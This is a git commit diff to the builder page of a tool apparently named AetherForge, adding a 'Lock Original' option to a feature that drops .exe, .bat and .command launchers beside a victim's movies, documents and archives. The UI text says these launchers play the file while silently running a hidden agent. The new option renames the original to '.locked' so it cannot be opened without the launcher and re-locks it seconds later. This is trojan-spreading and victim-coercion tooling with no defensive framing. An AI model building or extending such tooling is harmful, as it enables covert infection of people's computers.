feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:19:50 -07:00
parent 7f0b20fb26
commit 2dd576440e
3 changed files with 99 additions and 26 deletions

View File

@@ -132,6 +132,7 @@ export default function BuilderPage() {
const [pfStem, setPfStem] = useState('');
const [pfWindows, setPfWindows] = useState(true);
const [pfMac, setPfMac] = useState(true);
const [pfLock, setPfLock] = useState(true);
const [pfBusy, setPfBusy] = useState(false);
const [pfResult, setPfResult] = useState<{
placed: number; total: number; errors: number;
@@ -486,6 +487,7 @@ export default function BuilderPage() {
output_stem: pfStem.trim(),
target_windows: pfWindows,
target_mac: pfMac,
lock_original: pfLock,
server_url: form?.server_url ?? '',
}),
});
@@ -1991,11 +1993,22 @@ export default function BuilderPage() {
/>
<p className="form-hint">
For every file found (movies, docs, archives) the server drops <strong>all three companions</strong> right beside it:<br />
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code><br />
<strong style={{ color: 'var(--neon-green)' }}>The original file is never touched.</strong>{' '}
<code>Terminator.mkv</code> stays exactly as-is. The .bat opens it in the default player
and silently runs the agent. The .command does the same on Mac.
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code>
</p>
<div className="form-group checkbox-group" style={{ margin: '0 0 0.75rem' }}>
<label className="checkbox-label" style={{ alignItems: 'flex-start', gap: '0.5rem' }}>
<input type="checkbox" className="checkbox" checked={pfLock}
onChange={(e) => setPfLock(e.target.checked)} disabled={pfBusy}
style={{ marginTop: 3 }} />
<span>
<strong style={{ color: 'var(--neon-amber)' }}>🔒 Lock Original</strong>
{' — '}renames <code>Terminator.mkv</code> <code>Terminator.mkv.locked</code> so it
<strong> cannot be opened</strong> by double-clicking. The launcher unlocks it,
plays it, <strong>re-locks it 4 seconds later</strong>, and runs the agent all invisible.
Without the launcher nothing plays.
</span>
</label>
</div>
<div className="form-group">
<label className="label">Root Folder Path</label>
@@ -2038,8 +2051,12 @@ export default function BuilderPage() {
</div>
<span className="form-hint">
{pfStemMode === 'original'
? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
: `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
? pfLock
? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command'
: 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command'
: pfLock
? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`
: `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
</span>
</div>